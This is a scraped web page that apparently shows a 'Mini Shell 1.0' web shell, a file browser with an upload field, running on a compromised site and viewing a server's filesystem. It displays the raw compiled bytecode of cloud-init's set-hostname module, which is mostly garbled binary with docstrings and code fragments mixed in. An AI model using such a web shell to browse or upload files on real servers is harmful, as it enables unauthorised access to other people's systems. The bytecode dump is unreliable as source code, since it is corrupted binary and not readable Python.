HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_set_hostname.cpython-311.pyc
�

܍~cs���UdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZmZdd
lmZddlmZeZdZd
ddeegeded��ggd�Zeed<ee��ZGd�de��Zdede
dedededdfd�ZdS)z#Set Hostname: Set hostname and FQDN�N)�Logger)�dedent)�util)�
write_json)�Cloud)�Config)�
MetaSchema�get_meta_doc)�ALL_DISTROS)�PER_INSTANCEa'This module handles setting the system hostname and fully qualified domain
name (FQDN). If ``preserve_hostname`` is set, then the hostname will not be
altered.

A hostname and FQDN can be provided by specifying a full domain name under the
``FQDN`` key. Alternatively, a hostname can be specified using the ``hostname``
key, and the FQDN of the cloud will be used. If a FQDN specified with the
``hostname`` key, it will be handled properly, although it is better to use
the ``fqdn`` config key. If both ``fqdn`` and ``hostname`` are set,
the ``prefer_fqdn_over_hostname`` will force the use of FQDN in all distros
when true, and when false it will force the short hostname. Otherwise, the
hostname to use is distro-dependent.

.. note::
    cloud-init performs no hostname input validation before sending the
    hostname to distro-specific tools, and most tools will not accept a
    trailing dot on the FQDN.

This module will run in the init-local stage before networking is configured
if the hostname is set by metadata or user data on the local system.

This will occur on datasources like nocloud and ovf where metadata and user
data are available locally. This ensures that the desired hostname is applied
before any DHCP requests are performed on these platforms where dynamic DNS is
based on initial hostname.
�cc_set_hostnamezSet HostnamezSet hostname and FQDNzpreserve_hostname: truezz            hostname: myhost
            fqdn: myhost.example.com
            prefer_fqdn_over_hostname: true
            )�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�metac��eZdZdZdS)�SetHostnameErrorz�Raised when the distro runs into an exception when setting hostname.

    This may happen if we attempt to set the hostname early in cloud-init's
    init-local timeframe as certain services may not be running yet.
    N)�__name__�
__module__�__qualname__�__doc__���B/usr/lib/python3/dist-packages/cloudinit/config/cc_set_hostname.pyrrJs���������rrr�cfg�cloud�log�args�returnc���tj|dd��r|�d|��dStj|dd��}|�|j�d|��tj||��\}}}tj�|�	d��d��}	i}
tj�
|	��r&tjtj|	����}
||
�
d��kp||
�
d��k}|s|�d	��dS|r|d
kr|�d��dS|�d||��	|j�||��nE#t$r8}d
|�d|�d�}
tj||
��t#|
�d|����|�d}~wwxYwt%|	||d���dS)N�preserve_hostnameFzVConfiguration option 'preserve_hostname' is set, not setting the hostname in module %s�prefer_fqdn_over_hostname�datazset-hostname�hostname�fqdnz*No hostname changes. Skipping set-hostname�	localhostz6Hostname is localhost. Let other services handle this.zSetting the hostname to %s (%s)zFailed to set the hostname to z (�)z: )r)r*)r�get_cfg_option_bool�debug�distro�
set_option�get_hostname_fqdn�os�path�join�	get_cpath�exists�	load_json�	load_file�get�set_hostname�	Exception�logexcrr)rr r!r"r#�
hostname_fqdnr)r*�
is_default�prev_fn�
prev_hostname�hostname_changed�e�msgs              r�handlerDRs2�����%8�%�@�@���	�	�
5��	
�	
�	
�
	���,��
(�$���M�� �
���� ;�]�K�K�K�#'�#9�#�u�#E�#E� �X�t�Z��g�l�l�5�?�?�6�2�2�N�C�C�G��M�	�w�~�~�g���@���t�~�g�'>�'>�?�?�
��=�#4�#4��$�$��+�	
��"�"�6�*�*�	*�����	�	�>�?�?�?�����h�+�-�-��	�	�J�K�K�K����I�I�/��x�@�@�@�;�
��!�!�(�D�1�1�1�1���;�;�;�;�9=���x�x�x�H����C������3�3�3���2�3�3��:�����;�����w�X�t�<�<�=�=�=�=�=s�7F�
G�3G�G)rr2�loggingr�textwrapr�	cloudinitr�cloudinit.atomic_helperr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar	r
�cloudinit.distrosr�cloudinit.settingsrr�MODULE_DESCRIPTIONr�__annotations__r;r�str�listrDrrr�<module>rRs���*�)�)�	�	�	�	�������������������.�.�.�.�.�.�!�!�!�!�!�!�#�#�#�#�#�#�<�<�<�<�<�<�<�<�)�)�)�)�)�)�+�+�+�+�+�+��	���:��
$�%��}��!���
�	
�	
�	� "�#���j����(�,�t�
�
�������y����/>�

�/>��/>�#(�/>�/5�/>�=A�/>�	�/>�/>�/>�/>�/>�/>r